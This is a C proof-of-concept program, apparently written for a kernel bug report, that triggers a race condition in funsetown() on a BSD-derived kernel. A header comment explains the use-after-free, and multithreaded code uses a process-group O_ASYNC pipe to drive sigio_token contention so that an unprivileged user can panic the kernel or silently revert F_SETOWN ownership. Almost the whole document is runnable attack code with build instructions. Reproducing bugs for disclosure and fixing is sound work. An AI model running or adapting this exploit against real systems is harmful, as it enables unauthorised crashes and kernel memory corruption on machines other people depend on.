/*
 * DF-2751 PoC v2: funsetown() KKASSERT race with sigio_token
 * contention amplification.
 *
 * Race (see v1 comment in funsetown_race.c):
 *   funsetown() loads *sigiop at kern_descrip.c:1246 WITHOUT the token,
 *   then dereferences that stale pointer in KKASSERT at :1247 after
 *   acquiring sigio_token.  A concurrent fsetown()/funsetown() on the
 *   same sigiop can kfree() the loaded sigio (and a third thread's
 *   kmalloc can recycle the chunk for a different pipebuf) while the
 *   first thread is parked at lwkt_gettoken(&sigio_token).
 *
 * Amplification: pgsigio() for a process GROUP holds sigio_token across
 * pgref()+lockmgr(pg_lock)+ksignal() per member -- microseconds.  Pipe
 * writers on O_ASYNC+F_SETOWN(-pgrp) pipes reach it through
 * pipewakeup()->pgsigio() (sys_pipe.c:211-215).  A pool of such writers
 * keeps sigio_token contended: victims park long, killers (F_SETOWN
 * churn on the victim pipebuf) free the victim's loaded sigio while it
 * is parked, and recycler threads (F_SETOWN churn on OTHER pipes)
 * kmalloc the freed chunk with a different sio_myref before the victim
 * resumes -> KKASSERT fails -> panic on INVARIANTS kernels (stock
 * X86_64_GENERIC has options INVARIANTS).
 *
 * Secondary observable (no INVARIANTS): the victim's post-assert reload
 * frees a sigio another thread JUST installed via F_SETOWN -- the
 * completed F_SETOWN is silently reverted (F_GETOWN returns 0).
 *
 * unprivileged; build: cc -O2 -pthread -o fr2 fr2.c
 */
#include <sys/fcntl.h>
#include <errno.h>
#include <err.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int A[2], B[2], C[2], W[2];	/* W: async-signal amplification */
static volatile unsigned long v, k, s, w;
static volatile int stop;

static void *
victim_thr(void *arg)
{
	while (!stop) {
		fcntl(A[0], F_SETOWN, 0);	/* funsetown(), no token held */
		v++;
	}
	return (NULL);
}

static void *
killer_thr(void *arg)
{
	pid_t pid = getpid();

	while (!stop) {
		/* token-held funsetown() frees whatever *pbA.sigio holds,
		 * then installs a fresh sigio */
		fcntl(A[0], F_SETOWN, pid);
		fcntl(A[0], F_SETOWN, 0);
		k++;
	}
	return (NULL);
}

static void *
spray_thr(void *arg)
{
	int fd = (arg == NULL) ? B[0] : C[0];
	pid_t pid = getpid();

	while (!stop) {
		fcntl(fd, F_SETOWN, pid);
		fcntl(fd, F_SETOWN, 0);
		s++;
	}
	return (NULL);
}

static void *
writer_thr(void *arg)
{
	char buf[64];

	memset(buf, 'x', sizeof(buf));
	while (!stop) {
		/* pipewakeup(wpb,1) -> pgsigio(pgrp) under sigio_token:
		 * long token hold; also SIGIO delivery (ignored). */
		if (write(W[1], buf, sizeof(buf)) < 0 && errno != EAGAIN)
			break;
		w++;
	}
	return (NULL);
}

static void *
drain_thr(void *arg)
{
	char buf[65536];

	while (!stop)
		read(W[0], buf, sizeof(buf));	/* blocking drain */
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t th[12];
	int nth = 0;
	int secs = 300;
	int fl;

	if (argc > 1)
		secs = atoi(argv[1]);

	if (pipe(A) < 0 || pipe(B) < 0 || pipe(C) < 0 || pipe(W) < 0)
		err(1, "pipe");
	signal(SIGIO, SIG_IGN);

	/* amplification pipe: async SIGIO to our process group */
	if (fcntl(W[0], F_SETOWN, -getpgrp()) < 0)
		err(1, "F_SETOWN pgrp");
	fl = fcntl(W[0], F_GETFL);
	if (fcntl(W[0], F_SETFL, fl | O_ASYNC) < 0)
		err(1, "O_ASYNC");
	fl = fcntl(W[1], F_GETFL);
	if (fcntl(W[1], F_SETFL, fl | O_NONBLOCK) < 0)
		err(1, "O_NONBLOCK");

	printf("DF-2751v2: uid=%d funsetown KKASSERT race, %ds...\n",
	    getuid(), secs);
	fflush(stdout);

	pthread_create(&th[nth++], NULL, drain_thr, NULL);
	pthread_create(&th[nth++], NULL, writer_thr, NULL);
	pthread_create(&th[nth++], NULL, writer_thr, NULL);
	pthread_create(&th[nth++], NULL, victim_thr, NULL);
	pthread_create(&th[nth++], NULL, victim_thr, NULL);
	pthread_create(&th[nth++], NULL, killer_thr, NULL);
	pthread_create(&th[nth++], NULL, killer_thr, NULL);
	pthread_create(&th[nth++], NULL, spray_thr, NULL);
	pthread_create(&th[nth++], NULL, spray_thr, (void *)1);
	pthread_create(&th[nth++], NULL, spray_thr, NULL);
	pthread_create(&th[nth++], NULL, spray_thr, (void *)1);

	sleep(secs);
	stop = 1;
	fcntl(W[0], F_SETOWN, 0);
	for (int i = 0; i < nth; ++i)
		pthread_join(th[i], NULL);
	printf("survived: victim=%lu killer=%lu spray=%lu writes=%lu "
	    "(no panic in %ds)\n", v, k, s, w, secs);
	return (2);
}
